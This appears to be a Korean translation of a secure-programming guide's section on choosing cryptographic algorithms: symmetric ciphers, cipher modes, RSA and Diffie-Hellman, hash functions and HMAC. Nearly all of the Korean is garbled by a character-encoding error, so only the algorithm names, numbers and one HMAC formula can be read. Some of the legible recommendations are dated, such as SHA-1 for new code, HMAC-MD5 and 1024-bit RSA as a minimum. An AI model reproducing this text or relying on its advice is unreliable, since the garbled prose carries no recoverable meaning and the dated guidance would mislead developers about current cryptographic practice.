ÁÖ¸ñÇØ¶ó; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ À§Çؼ­´Â °ü·Ã ¹®¼­¸¦ º¸¶ó. OpenSSH ´Â SSH ÀÇ ¿ÀÇ ¼Ò½º ±¸ÇöÀÌ´Ù. IPSec ´Â Àú¼öÁØ ÆÐŶ°ú ``¸ðµç" ÆÐŶÀ» ¾ÈÀüÇÏ°Ô Çϱâ À§ÇÑ ±âº»ÀûÀÎ ¹æ¹ýÀ¸·Î °¡»ó »ç¼³¸Á°ú ¿ø°Ý ¸Ó½ÅÀ» ¾ÈÀüÇÏ°Ô Çϴµ¥ ƯÈ÷ À¯¿ëÇÏ´Ù. ÀÎÅÍ³Ý ÇÁ·ÎÅäÄÝÀÇ »õ·Î¿î ¹öÀüÀÎ IPv6 ´Â IPSec °¡ ``³»Àå"µÇ¾î ÀÖÁö¸¸ IPSec ´Â ÀϹÝÀûÀÎ IPv4 ÇÁ·ÎÅäÄݰúµµ ÇÔ²² ÀÛµ¿ÇÑ´Ù.

´Ù¼öÀÇ ÇÁ·ÎÅäÄݵéÀÌ ¸¹Àº ´Ù¸¥ ¾Ë°í¸®µëÀ» ¼±ÅÃÇÒ ¼ö ÀÖ°Ô Çϴµ¥ µû¶ó¼­ ¾Ë°í¸®µë¿¡ ´ëÇØ ÇÕ¸®ÀûÀÎ µðÆúÆ®¸¦ ¼±ÅÃÇÒ Çʿ䰡 ÀÖÀ» °ÍÀÌ´Ù (¿¹, ¾Ïȣȭ).


10.5.2. ´ëĪŰ ¾Ïȣȭ ¾Ë°í¸®µë

¾Ïȣȭ ¾Ë°í¸®µë ±¸ÇöÀÇ »ç¿ë, ¼öÃâ ¹×/¶Ç´Â ¼öÀÔÀº ¸¹Àº ³ª¶ó¿¡¼­ Á¦Çѵǰí ÀÖÁö¸¸ ¹ýÀº ¸Å¿ì ºü¸£°Ô º¯ÇÒ ¼ö ÀÖ´Ù. ¾ÏÈ£ÇÐÀ» »ç¿ëÇØ ¾ÖÇø®ÄÉÀ̼ÇÀ» ±¸ÃàÇÏ·Á°í Çϱâ Àü¿¡ ±Ô¹üÀÌ ¹«¾ùÀÎÁö ¾Ë¾Æ³»¶ó.

ºñ¹ÐŰ (¹úÅ© µ¥ÀÌŸ) ¾Ïȣȭ ¾Ë°í¸®µëÀÇ °æ¿ì´Â °ø°³ÀûÀ¸·Î ¾Ë·ÁÁ® ¼ö³â°£ °ø°ÝÀ» °ßµ®¿Â ¾Ïȣȭ ¾Ë°í¸®µë¸¸À» »ç¿ëÇϰí À̵éÀÇ Æ¯Çã »óŸ¦ °Ë»çÇØ¶ó. ÀúÀÚ´Â Rijndahl ·Î ¾Ë·ÁÁø »õ·Î¿î Advanced Encryption Standard (AES) ¸¦ »ç¿ëÇϱ⸦ ÃßõÇÒ °ÍÀÌ´Ù -- ¸¹Àº ¾ÏÈ£ÇÐÀÚµéÀÌ À̸¦ ºÐ¼®ÇßÀ¸¸ç ¾î¶°ÇÑ ½É°¢ÇÑ ¾àÁ¡µµ ¹ß°ßÇÏÁö ¸øÇߴµ¥ ÀúÀÚ´Â ÇöÀç AES °¡ ½Å·ÚÇÒ ¼ö ÀÖÀ»¸¸Å­ ÃæºÐÇÑ ºÐ¼®À» Çß´Ù°í »ý°¢ÇÑ´Ù. AES ¿¡ ´ëÇÑ ÁÁÀº ´ë¾ÈÀº Serpent ¾Ë°í¸®µëÀ¸·Î ¾à°£ ´À¸®Áö¸¸ °ø°Ý¿¡ ´ëÇÑ ÀúÇ×¼ºÀÌ ¿ì¼öÇÏ´Ù. ¸¹Àº ¾ÖÇø®ÄÉÀ̼ÇÀÇ °æ¿ì »ïÁß-DES ´Â ¸Å¿ì ¿ì¼öÇÑ ¾Ïȣȭ ¾Ë°í¸®µëÀε¥ ÀÌ´Â ²Ï ±æÀ̱⠱ä 112 ºñÆ® ۸¦ °®À¸¸ç ƯÇã ¹®Á¦µµ ¾ø°í ¿À·§µ¿¾È °ø°Ý¿¡ °ßµ®¿Ô´Ù (°ø°³ ¹®Çå¿¡ ÀÖ´Â Àû´çÇÑ Å° ±æÀ̸¦ °®°í ÀÖ´Â ´Ù¸¥ ¾Ïȣȭ ¾Ë°í¸®µëº¸´Ù ´õ¿í ¿À·§µ¿¾È °ø°Ý¿¡ °ßµ®¿Ô´Ù). ±×·¯³ª »ïÁß-DES ´Â ¼ÒÇÁÆ®¿þ¾î¿¡¼­ ±¸ÇöµÉ ¶§ ¸Å¿ì ´À¸®¸ç µû¶ó¼­ »ïÁß-DES ´Â ``°¡Àå ¾ÈÀüÇÏÁö¸¸ °¡Àå ´À¸®´Ù" °í °í·ÁµÉ ¼ö ÀÖ´Ù. Twofish ´Â ¿ì¼öÇÑ ¾Ïȣȭ ¾Ë°í¸®µëÀÌÁö¸¸ ´Ù¼ÒÀÇ ¿À·¡µÈ ¹®Á¦°¡ ÀÖ´Ù - Sean Murphy ¿Í Fauzan Mirza ´Â Twofish °¡ ¸¹Àº ÇÐÀÚµéÀ» ¿ì·ÁÇϰԲû ÇÏ´Â ¼ºÁúµéÀ» °®°í ÀÖÀ½À» º¸¿´´Ù (¾î´À ´©±¸µµ ¾î¶»°Ôµç ÀÌ·¯ÇÑ ¼ºÁúµéÀ» ¾Ç¿ëÇϴµ¥ »ç¿ëÇÒ ¼ö´Â ¾ø¾ú´Ù). MARS ´Â ``»õ·Ó°í Âü½ÅÇÑ" °ø°Ý¿¡ ´ëÇÑ ÀúÇ×¼ºÀÌ ¿ì¼öÇÏÁö¸¸ ´õ¿í º¹ÀâÇÏ°í ¼ÒÇü ±â´ÉÀÇ ½º¸¶Æ®Ä«µå¿¡ ´ëÇØ¼­´Â ºñ½Ç¿ëÀûÀÌ´Ù. ¿ì¼± ÀúÀÚ´Â Twofish ¸¦ ÇÇÇÒ °ÍÀÌ´Ù - ÀÌ´Â ÀüÇô ¾Ç¿ëµÉ ¼ö ¾øÀ» °Í °°Áö¸¸ À̸¦ È®½ÅÇϱâ´Â ¾î·Á¿ì¸ç ÀÌ·¯ÇÑ ¹®Á¦¿¡ ´ëÇØ °ÆÁ¤ÇÏÁö ¾Ê¾Æµµ µÇ´Â ´ë¾È ¾Ë°í¸®µëµéÀÌ ÀÖ´Ù. IDEA ´Â »ç¿ëÇÏÁö ¸¶¶ó - ¹Ì±¹°ú À¯·´¿¡¼­ ƯÇãÈ­µÇ¾î ÀÖ´Ù. »ó¼ö ¶Ç´Â »ó¼ö ¹®ÀÚ¿­À» °®´Â XOR, ROT (rotation) ½ºÅ´, Vinegere ¾ÏÈ£ µî°ú °°Àº ¾î¸®¼®Àº ¾Ë°í¸®µëÀ» »ç¿ëÇÏÁö ¸¶¶ó - ¿À´Ã³¯ÀÇ ÄÔÇ»ÅÍ¿¡¼­ À̵éÀ» ÇØµ¶ÇÏ´Â °ÍÀº »ç¼ÒÇÒ ¼ö ÀÖ´Ù. ``ÀÌÁß DES" (DES ¸¦ µÎ¹ø »ç¿ë) ¸¦ »ç¿ëÇÏÁö ¸¶¶ó - »ïÁß-DES °¡ ¿¹¹æÇÒ ¼ö ÀÖ´Â ``man in the middle" °ø°ÝÀ» ´çÇϱ⠽±´Ù. ¾î·µç ÇÁ·ÎÅäÄÝÀº ´Ù¼öÀÇ ¾Ïȣȭ ¾Ë°í¸®µëÀ» Áö¿øÇØ¾ß ÇÑ´Ù; ÀÌ·¸°Ô ÇÔÀ¸·Î½á ÇÑ ¾Ë°í¸®µëÀÌ ÇØµ¶µÉ ¶§ »ç¿ëÀÚ´Â ´Ù¸¥ ¾Ë°í¸®µëÀ¸·Î º¯°æÇÒ ¼ö ÀÖ´Ù.

´ëĪŰ ¾Ïȣȭ (¿¹, ¹úÅ© ¾Ïȣȭ) ÀÇ °æ¿ì 2016 µ¿¾È Á¤º¸°¡ ºñ¹Ð·Î À¯ÁöµÇ±æ ¿øÇÑ´Ù¸é 90 ºñÆ®º¸´Ù ÀÛÀº Ű ±æÀ̸¦ »ç¿ëÇÏÁö ¸¶¶ó (¸Å 18°³¿ùÀÇ Ãß°¡ÀûÀÎ º¸¾ÈÀ» À§ÇØ ´Ù¸¥ ºñÆ®¸¦ Ãß°¡Çضó) [Blaze 1996]. ¾µ¸ð¾ø´Â µ¥ÀÌŸ¸¦ ¾ÏȣȭÇÏ´Â °æ¿ì´Â ¿¹Àü DES ¾Ë°í¸®µëµµ »ó´çÈ÷ À¯¿ëÇÏÁö¸¸ ÇöÀç Çϵå¿þ¾î »óȲ¿¡¼­ brute force °ø°ÝÀ» »ç¿ëÇØ DES ÀÇ 56 ºñÆ® ۸¦ ÇØµ¶ÇÏ´Â °ÍÀº ³Ê¹« ½±´Ù. DES ¸¦ »ç¿ëÇϰí ÀÖ´Ù¸é ¾Æ½ºÅ° ÅØ½ºÆ® ۸¦ Ű·Î »ç¿ëÇÏÁö ¸¶¶ó - ÆÐ¸®Æ¼ (parity) ´Â °¡Àå ´ú Áß¿äÇÑ ºñÆ®¿¡ ÀÖ´Ù. µû¶ó¼­ ´ëºÎºÐÀÇ DES ¾Ë°í¸®µëÀº Àûµé¿¡°Ô Àß ¾Ë·ÁÁø ۰ªÀ» »ç¿ëÇØ ¾ÏȣȭÇÒ °ÍÀÌ´Ù. ´ë½Å ŰÀÇ ÇØ½Ã¸¦ ¸¸µé°í ÆÐ¸®Æ¼ ºñÆ®¸¦ Á¤È®È÷ ¼³Á¤Çضó (±×¸®°í ¾Ïȣȭ ·çƾÀ¸·ÎºÎÅÍÀÇ ¿¡·¯ º¸°í¿¡ ÁÖÀÇÇØ¶ó). ¼ÒÀ§ ``¼öÃâ°¡´ÉÇÑ" ¾Ïȣȭ ¾Ë°í¸®µëÀº ´ÜÁö 40 ºñÆ®ÀÇ À¯È¿ Ű ±æÀ̸¦ °®À¸¸ç º»ÁúÀûÀ¸·Î ¾µ¸ð¾ø´Ù; 1996³â¿¡ °ø°ÝÀÚ´Â ±×·¯ÇÑ Å°¸¦ 12ºÐ³»¿¡ ÇØµ¶Çϴµ¥ 10,000 ºÒÀ» ¾²°Å³ª ¶Ç´Â À̵éÀ» ¸îÀϳ»¿¡ ÇØµ¶Çϴµ¥ À¯ÈÞ ½Ã°£À» »ç¿ëÇßÀ» °ÍÀÌ´Ù. µÎ °æ¿ì ¸ðµÎ ¸Å 18°³¿ù¸¶´Ù ÇØµ¶ ½Ã°£ÀÌ Àý¹ÝÀ¸·Î ÁÙ¾îµé¾ú´Ù.

ºí·Ï ¾Ïȣȭ ¾Ë°í¸®µëÀº ``electronic code book" (ECB) ¹× ``cipher block chaining" (CBC) ¿Í °°Àº ¸¹Àº ¿©·¯°¡Áö ¸ðµå¿¡¼­ »ç¿ëµÉ ¼ö ÀÖ´Ù. °ÅÀÇ ¸ðµç °æ¿ì CBC ¸¦ »ç¿ëÇϰí ECB ´Â »ç¿ëÇÏÁö ¸¶¶ó - ECB ¸ðµå¿¡¼­´Â µ¿ÀÏÇÑ µ¥ÀÌŸ ºí·ÏÀº ½ºÆ®¸²³»¿¡¼­ µ¿ÀÏÇÑ °á°ú¸¦ ¹ÝȯÇϸç ÀÌ´Â ¹«¾ùÀÌ ¾ÏȣȭµÇ¾ú´ÂÁö¸¦ µå·¯³»±â¿¡ ´ë°³ ÃæºÐÇÏ´Ù. CBC ¸¦ Æ÷ÇÔÇÏ¿© ¸¹Àº ¸ðµåµéÀº ``ÃʱâÈ­ º¤ÅÍ" (initialization vector, IV) ¸¦ ÇÊ¿ä·Î ÇÑ´Ù. IV ´Â º¸¾ÈÀûÀÏ ÇÊ¿ä´Â ¾øÁö¸¸ °ø°ÝÀÚ°¡ ¿¹ÃøÇÒ ¼ö ¾ø¾î¾ß ÇÑ´Ù. ¼¼¼ÇÀ» ÅëÇØ IV ¸¦ Àç»ç¿ëÇÏÁö ¸¶¶ó - ¼¼¼ÇÀ» ½ÃÀÛÇÒ ¶§¸¶´Ù »õ·Î¿î IV ¸¦ »ç¿ëÇØ¶ó.

¸¹Àº ¿©·¯°¡Áö ½ºÆ®¸®¹Ö ¾Ïȣȭ ¾Ë°í¸®µëÀÌ ÀÖÁö¸¸ ¸¹Àº ¾Ë°í¸®µëÀº ƯÇã Á¦ÇÑÀ» °®°í ÀÖ´Ù. ÀúÀÚ´Â WAKE ¿Í °ü·ÃµÈ ƯÇã ¶Ç´Â ±â¼úÀû ÀïÁ¡¿¡ ´ëÇØ¼­´Â ¸ð¸¥´Ù. RC4 ´Â RSA Data Security Inc. ÀÇ Åë»ó ºñ¹ÐÀÌ´Ù; ±×ÈÄ·Î ´©¼³µÇ¾úÁö¸¸ ÀúÀÚ´Â ÀÌÀÇ »ç¿ë¿¡ ´ëÇÑ ½ÇÁ¦ ¹ýÀûÀÎ Àå¾Ö¹°Àº ¸ð¸¥´Ù. ±×·¯³ª RSA ´Â ÀÌÀÇ »ç¿ëÀڵ鿡 ´ëÇØ ¹ýÁ¤ ¼Ò¼ÛÀ» ÃëÇϰڴٰí À§ÇùÇϰí ÀÖ´Ù (RSA °¡ ÃëÇÒ ¼ö ÀÖ´Â °ÍÀÌ ¹«¾ùÀÎÁö´Â ¸íÈ®ÇÏÁö ¾ÊÁö¸¸ »ç¿ëÀÚµéÀ» ¾µµ¥¾ø´Â ¹ýÁ¤ ¼Ò¼Û¿¡¼­ ²Ä¦¸øÇÏ°Ô ÇÒ ¼ö ÀÖÀ½Àº ÀǽÉÇÒ ¿©Áö°¡ ¾ø´Ù). RC4 ¸¦ »ç¿ëÇÑ´Ù¸é À̸¦ ÀǵµµÈ ¹Ù¿Í °°ÀÌ »ç¿ëÇØ¶ó - ƯÈ÷ ¾ðÁ¦³ª »ý¼ºµÈ óÀ½ 256 ¹ÙÀÌÆ®¸¦ ¹ö·Á¶ó. ±×·¸Áö ¾Ê´Ù¸é °ø°Ý´çÇϱ⠽¬¿ï °ÍÀÌ´Ù. SEAL Àº IBM ÀÌ Æ¯Ç㸦 ³½ °ÍÀ¸·Î À̸¦ »ç¿ëÇÏÁö ¸¶¶ó. SOBER Àº ƯÇãÈ­µÇ¾î ÀÖ´Ù; ƯÇã ¼ÒÀ¯ÀÚ´Â »ç¿ë Çã°¡¸¦ ¿äûÇÑ´Ù¸é À̸¦ ÀÚÀ¯·ÎÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù°í ÁÖÀåÇϰí ÀÖÁö¸¸ ÀÌ´Â ÃßÈÄ »ç¿ë¿¡ ´ëÇØ Àå¾Ö¹°ÀÌ µÉ ¼ö ÀÖ´Ù. ´õ¿í´õ Èï¹Ì·Î¿î °ÍÀº ºí·Ï ¾Ïȣȭ ¾Ë°í¸®µëÀÌ À̵éÀ» ½ºÆ®¸² ¾ÏÈ£·Î º¯È¯½ÃŰ´Â ¸ðµå¿¡¼­ »ç¿ëµÉ ¼ö ÀÖ´Ù´Â °ÍÀε¥ ½ºÆ®¸² ¾ÏÈ£¸¦ ¿øÇÏ´Â »ç¿ëÀÚ´Â ÀÌ ¹æ¹ýÀ» °í·ÁÇØ¾ß ÇÑ´Ù (´õ¿í °ø°³ÀûÀ¸·Î ¾òÀ» ¼ö ÀÖ´Â ¾Ë°í¸®µëÁß¿¡¼­ ¼±ÅÃÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù).


10.5.3. °ø°³Å° ¾Ë°í¸®µë

°ø°³Å° ¾ÏȣȭÀÇ °æ¿ì (¼­¸í°ú ºñ¹ÐŰ Àü¼Û¿¡ ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù) ´ÜÁö ¾à°£ÀÇ ¾Ë°í¸®µë¸¸ÀÌ ³Î¸® »ç¿ëµÇ°í Àִµ¥ °¡Àå ³Î¸® »ç¿ëµÇ°í ÀÖ´Â ¾Ë°í¸®µë ÁßÀÇ Çϳª´Â RSA ÀÌ´Ù; RSA ÀÇ ¾Ë°í¸®µëÀº ´ÜÁö ¹Ì±¹¿¡¼­¸¸ ƯÇãÈ­µÇ¾î ÀÖÀ¸¸ç 2000³â 9¿ù¿¡ ¸¸·áµÇ¾î ÀÚÀ¯·Ó°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù. °ø°ÝÀÚ°¡ Á÷Á¢ÀûÀ¸·Î Á¦°øÇÑ ¿ø°ª (raw value) À» RSA ¸¦ »ç¿ëÇØ Àý´ë·Î º¹È£È­Çϰųª ¼­¸íÇÏÁö ¸¶¶ó. RSA ´Â ºñ¹Ð۸¦ µå·¯³¾ ¼ö Àֱ⠶§¹®¿¡ °á°ú¸¦ µå·¯³½´Ù (´ëºÎºÐÀÇ ÇÁ·ÎÅäÄÝÀº ¿ø°ªÀÌ ¾Æ´Ñ »ç¿ëÀÚ°¡ °è»êÇÑ ÇØ½Ã¿¡ ¼­¸íÇÏ´Â °ÍÀ» Æ÷ÇÔÇϰųª °á°ú¸¦ µå·¯³»Áö ¾Ê±â ¶§¹®¿¡ ÀÌ´Â ½ÇÁ¦ ¹®Á¦°¡ µÇÁö´Â ¾Ê´Â´Ù). Àý´ë·Î Á¤È®È÷ µ¿ÀÏÇÑ ¿ø°ªÀ» ¿©·¯¹ø º¹È£È­Çϰųª ¼­¸íÇÏÁö ¸¶¶ó (¿ø·¡ °ªÀÌ ³ëÃâµÉ ¼ö ÀÖ´Ù). ÀÌ·¯ÇÑ µÎ ¹®Á¦ ¸ðµÎ ÀÓÀÇÀÇ ÆÐµù (padding, ¾Æ¹«·± Àǹ̰¡ ¾ø´Â, °íÁ¤ ±æÀ̸¦ °®´Â ·¹ÄÚµå ¶Ç´Â ºí·Ï¿¡ ¹«ÀǹÌÇÑ ¹®ÀڷΠä¿ì´Â ±â¹ý) À» ´Ã Ãß°¡ÇÔÀ¸·Î½á ÇØ°áµÉ ¼ö ÀÖ´Ù (PGP °æ¿ì¿Í °°ÀÌ) - º¸ÅëÀÇ Á¢±Ù ¹æ¹ýÀº Optimal Asymmetric Encryption Padding (OAEP) ¶ó°í ºÒ¸°´Ù.

Diffie-Hellman Ű ±³È¯ ¾Ë°í¸®µëÀº µÎ ´ç»çÀÚ°£¿¡ ¼¼¼ÇŰ ÀÏÄ¡¸¦ Çã¿ëÇϴµ¥ ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù. ÀÌ ÀÚü·Î´Â ´ç»çÀÚµéÀÌ ÀڽŵéÀº ´©±¸ÀÌ´Ù ¶ó°í ¸»ÇÏ´Â ´ç»çÀÚµéÀÓÀ» º¸ÁõÇÏÁö ¸øÇÏ¸ç ¶ÇÇÑ Áß°³ÀÚµµ ¾ø´Ù. ±×·¯³ª ¼öµ¿ÀûÀÎ ½º´ÏÆÛ¿¡ ´ëÇØ¼­´Â °­·ÂÇÑ º¸È£¸¦ Á¦°øÇÑ´Ù; ÀÌ Æ¯Çã´Â 1997³â¿¡ ¸¸·áµÇ¾ú´Ù. °øÀ¯µÇ´Â ºñ¹ÐÀ» »ý¼ºÇϱâ À§ÇØ Diffie-Hellman À» »ç¿ëÇÑ´Ù¸é ¹Ýµå½Ã À̸¦ ¿ì¼±ÀûÀ¸·Î ÇØ½ÃÇØ¶ó (°øÀ¯µÇ´Â °ªÀ» Á÷Á¢ÀûÀ¸·Î »ç¿ëÇÏ´Â °æ¿ì °ø°ÝÀÌ ÀÖÀ» ¼ö ÀÖ´Ù).

NIST ´Â µðÁöÅÐ ¼­¸í »ý¼º°ú ÀÔÁõÀ» À§ÇØ DSS (Digital Signature Standard, µðÁöÅÐ ¼­¸í Ç¥ÁØ) À» °³¹ßÇß´Ù (ÀÌ´Â ElGamel ¾Ïȣȭ ½Ã½ºÅÛÀ» ¼öÁ¤ÇÑ °ÍÀÌ´Ù); À̰ÍÀÌ °³¹ßµÈ Á¶°ÇÁßÀÇ Çϳª´Â ƯÇã¿¡ ÀÚÀ¯·Ó´Ù´Â °ÍÀÌ¿´´Ù.

RSA, Diffie-Hellman ¹× El Gamel ±â¹ýÀº ÀϹÝÀûÀÎ ´ëĪŰ¿Í ºñ±³Çؼ­ µ¿ÀÏÇÑ º¸¾ÈÀ» Á¦°øÇϱâ À§ÇØ Å°¿¡ ´ëÇØ ´õ¿í ¸¹Àº ºñÆ®¸¦ ÇÊ¿ä·Î ÇÑ´Ù; ÀÌ·¯ÇÑ ½Ã½ºÅÛ¿¡¼­ 1024 ºñÆ® Ű´Â ´ë·« 80 ºñÆ® ´ëĪŰ¿Í µ¿µîÇѵ¥ ÀúÀÚ ÀǰßÀ¸·Î´Â À̰ÍÀÌ ¿À´Ã³¯ »ç¿ëÇØ¾ß ÇÏ´Â ÃÖ¼Ò ±æÀÌÀÌ´Ù. °ø°³Å°¿¡ ´ëÇØ ¸Å¿ì ÀÛÀº ºñÆ®¸¦ ÇÊ¿ä·Î ÇÑ´Ù¸é Ÿ¿ø °î¼± (elliptic curve) ¾Ïȣȭ¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ´Ù (IEEE P1363 ¿¡ ´Ù¼ÒÀÇ Á¦¾ÈµÈ °î¼±ÀÌ Àִµ¥ ÀÌ·¯ÇÑ °î¼±À» ã¾Æ³»´Â °ÍÀº ¾î·Æ´Ù). ±×·¯³ª ÁÖÀÇÇØ¶ó - Ÿ¿ø °î¼± ¾Ïȣȭ´Â ƯÇãÈ­µÇ¾î ÀÖÁö ¾ÊÁö¸¸ ¾î¶² °í¼ÓÈ­ ±â¹ýÀº ƯÇãÈ­µÇ¾î ÀÖ´Ù (Ÿ¿ø °î¼±Àº ÈçÈ÷ »ç¿ëµÇ´Â ¼¼¼Ç ¾Ïȣȭ/¹úÅ© ¾Ïȣȭ Ű µî¿¡´Â ÀÌ·¯ÇÑ ¼ÓµµÈ­°¡ ½ÇÁ¦ ÇÊ¿äÄ¡ ¾ÊÀ» ¸¸Å­ ÃæºÐÈ÷ ºü¸£´Ù).


10.5.4. ¾ÏÈ£ÇÐÀû ÇØ½Ã ¾Ë°í¸®µë

¾î¶² ÇÁ·Î±×·¥µéÀº ÀϹæÇâ ÇØ½Ã ¾Ë°í¸®µë, Áï ÀÓÀÇÀÇ µ¥ÀÌŸµé ÃëÇØ °ø°ÝÀÚ°¡ µÇµ¹¸®±â ¾î·Á¿î °íÁ¤µÈ ±æÀÌÀÇ ¼ýÀÚ¸¦ »ý¼ºÇÏ´Â ÇÔ¼ö¸¦ ÇÊ¿ä·Î ÇÑ´Ù (¿¹, °ø°ÝÀÚ°¡ µ¿ÀÏÇÑ °ªÀ» »ý¼ºÇÏ´Â ¿©·¯ µ¥ÀÌŸ¼ÂÀ» »ý¼ºÇÏ´Â °ÍÀº ¾î·Æ´Ù). ¿©·¯ÇØ µ¿¾È MD5 °¡ ¼±È£µÇ¾úÁö¸¸ ÃÖ±ÙÀÇ ¿¬±¸´Â MD5 ÀÇ 128 ºñÆ® ±æÀ̰¡ ÃæºÐÇÏÁö ¾ÊÀ» ¼öµµ ÀÖÀ¸¸ç [van Oorschot 1994] ¾î¶² °ø°ÝÀÌ MD5 ÀÇ º¸È£¸¦ ¹«·ÂÈ­ ½ÃÅ´À» º¸¿´´Ù [Dobbertin 1996]. Á¤¸»·Î ÃÖ°í »ê¾÷°è ¾ÏÈ£ÇÐÀÚ°¡ MD5 ¸¦ ÇØµ¶ÇßÁö¸¸ Á¾¾÷¿ø Çù¾à¿¡ ÀÇÇØ ¾î¿ ¼ö ¾øÀÌ ±â¹Ð·Î À¯ÁöµÇ°í ÀÖ´Ù´Â ¼Ò¹®ÀÌ ÀÖ´Ù (John Viega °¡ °Ô½ÃÇÑ 2000³â 8¿ù 22ÀÏ Bugtraq ¸¦ º¸¶ó). ´©±º°¡ ¼Ò¹®À» ¸¸µé ¼öµµ ÀÖÁö¸¸ ÇØµ¶µÉ ¼ö ÀÖ´Ù´Â »ý°¢À» ±×·²µíÇÏ°Ô ¸¸µç ÃæºÐÇÑ ¾àÁ¡ÀÌ ¹ß°ßµÇ¾ú´Ù. »õ·Î¿î Äڵ带 ÀÛ¼ºÇÑ´Ù¸é MD5 ´ë½Å SHA-1 À» ´ë½Å »ç¿ëÇØ¶ó. ¿ø·¡ÀÇ SHA (ÇöÀç ``SHA-0" ·Î ºÎ¸¥´Ù) ¸¦ »ç¿ëÇÏÁö ¸¶¶ó; SHA-0 ´Â MD5 °¡ °®°í ÀÖ´Â ¸î¸î ¾àÁ¡À» °®°í ÀÖ´Ù. ÇØ½Ã ¾Ë°í¸®µë¿¡ ´õ¿í ¸¹Àº ºñÆ®¸¦ ÇÊ¿ä·Î ÇÑ´Ù¸é SHA-256, SHA-384 ¶Ç´Â SHA-512 ¸¦ »ç¿ëÇØ¶ó; NIST FIPS PUB 180-2 ¿¡¼­ ½ºÆåÀ» ¾òÀ» ¼ö ÀÖ´Ù.


10.5.5. ¹«°á¼º °Ë»ç

Åë½ÅÇÒ ¶§ ¾î¶² Á¾·ùÀÇ ¹«°á¼º °Ë»ç°¡ ÇÊ¿äÇÏ´Ù (¾Ïȣȭ¿¡¸¸ ÀÇÁ¸ÇÏÁö ¸¶¶ó. °ø°ÝÀÚ°¡ Á¤º¸¸¦ ``ÀÓÀÇÀÇ" °ªÀ¸·Î º¯°æÇÒ ¼öµµ ÀÖ´Ù). ÇØ½Ã ¾Ë°í¸®µëÀ» »ç¿ëÇØ ¹«°á¼º °Ë»ç¸¦ ÇÒ ¼ö ÀÖÁö¸¸ ´ÜÁö ÇØ½Ã ÇÔ¼ö¸¦ Á÷Á¢ÀûÀ¸·Î »ç¿ëÇÏÁö´Â ¸¶¶ó (ÀÌ´Â »ç¿ëÀÚ¸¦ ``È®Àå" (extension) °ø°Ý¿¡ ³ëÃâ½ÃŲ´Ù - °ø°ÝÀÚ°¡ ÇØ½Ã°ªÀ» »ç¿ëÇØ ÀڽŵéÀÇ µ¥ÀÌŸ¸¦ Ãß°¡ÇÑ ÈÄ »õ·Î¿î ÇØ½Ã¸¦ °è»êÇÒ ¼ö ÀÖ´Ù). º¸ÅëÀÇ ¹æ¹ýÀº ``HMAC" ·Î ´ÙÀ½°ú °°ÀÌ ¹«°á¼º °Ë»ç¸¦ ¼öÇàÇÑ´Ù.

  H(k xor opad, H(k xor ipad, data)).

H ´Â ÇØ½Ã ÇÔ¼ö (ÀϹÝÀûÀ¸·Î MD5 ¶Ç´Â SHA-1) À̰í k ´Â ŰÀÌ´Ù. µû¶ó¼­ ¹«°á¼º °Ë»ç´Â ´ë°³ HMAC-MD5 ¶Ç´Â HMAC-SHA-1 ÀÌ´Ù. MD5 °¡ ¾à°£ÀÇ ¾àÁ¡À» °®°í ÀÖÁö¸¸ ÀúÀÚ°¡ ¾Æ´ÂÇÑ MD5 ´Â À§¿Í °°ÀÌ »ç¿ëµÉ ¶§ Ãë¾àÇÏÁö ¾ÊÀ¸¸ç µû¶ó¼­ (ÀúÀÚ°¡ ¾Ë±â¿¡) HMAC-MD5 µµ Ãë¾àÇÏÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ´Â IETF RFC 2104 ¿¡ ¼¼ºÎÀûÀ¸·Î Á¤ÀǵǾî ÀÖ´Ù.

HMAC ¹æ¹ý¿¡¼­ ¼Û½ÅÀÚ¿Í °°ÀÌ ¼ö½ÅÀÚµµ µ¿ÀÏ µ¥ÀÌŸ¸¦ º¯Á¶ÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ´Â ´ë°³ ¹®Á¦°¡ µÇÁö ¾ÊÁö¸¸ ÇÇÇØÁ®¾ß ÇÑ´Ù¸é °ø°³Å° ¹æ¹ýÀ» »ç¿ëÇÏ°í ¼Û½ÅÀÚ¿¡°Ô ÀÚ½ÅÀÇ ºñ¹ÐŰ·Î µ¥ÀÌŸ¿¡ ¼­¸íÇÏ°Ô ÇØ¶ó - ÀÌ´Â ÀÌ·¯ÇÑ º¯Á¶ °ø°ÝÀ» ¿¹¹æÇÏÁö¸¸ ´õ¿í ¸¹Àº ºñ¿ëÀÌ µé¸ç ´ëºÎºÐÀÇ È¯°æ¿¡¼­ ÇÊ¿äÇÏÁö´Â ¾Ê´Ù.


10.5.6. ´Ù¸¥ ¾ÏÈ£ÇÐÀû ÀïÁ¡

Áß¿äÇÑ µ¥ÀÌŸ´Â ¾Ïȣȭ¿Í ¹«°á¼º °Ë»ç ¸ðµÎ¸¦ ÇØ¾ßÇÑ´Ù. ¹«°á¼ºÀ» Á¦°øÇÏ´Â ¾Ïȣȭ¿¡ ÀÇÁ¸ÇÏÁö ¸¶¶ó - °ø°ÝÀÚ°¡ ºñÆ®¸¦ ´Ù¸¥ °ªÀ¸·Î º¯°æÇÒ ¼öµµ ÀÖÀ¸¸ç °ø°ÝÀÚ À̸¦ ƯÁ¤ °ªÀ¸·Î º¯°æÇÒ ¼ö ¾ø´õ¶óµµ ´ÜÁö °ªÀ» º¯°æ½ÃŰ´Â °Í¸¸À¸·Î ÃæºÐÇÒ ¼öµµ ÀÖ´Ù. ÀϹÝÀûÀ¸·Î ¾î¶² ¹Ì¹¦ÇÑ °ø°ÝÀ» ¿¹¹æÇϱâ À§ÇØ ¹«°á¼º°ú ºñ¹Ð¿¡ ´Ù¸¥ ۸¦ »ç¿ëÇØ¾ß ÇÑ´Ù.

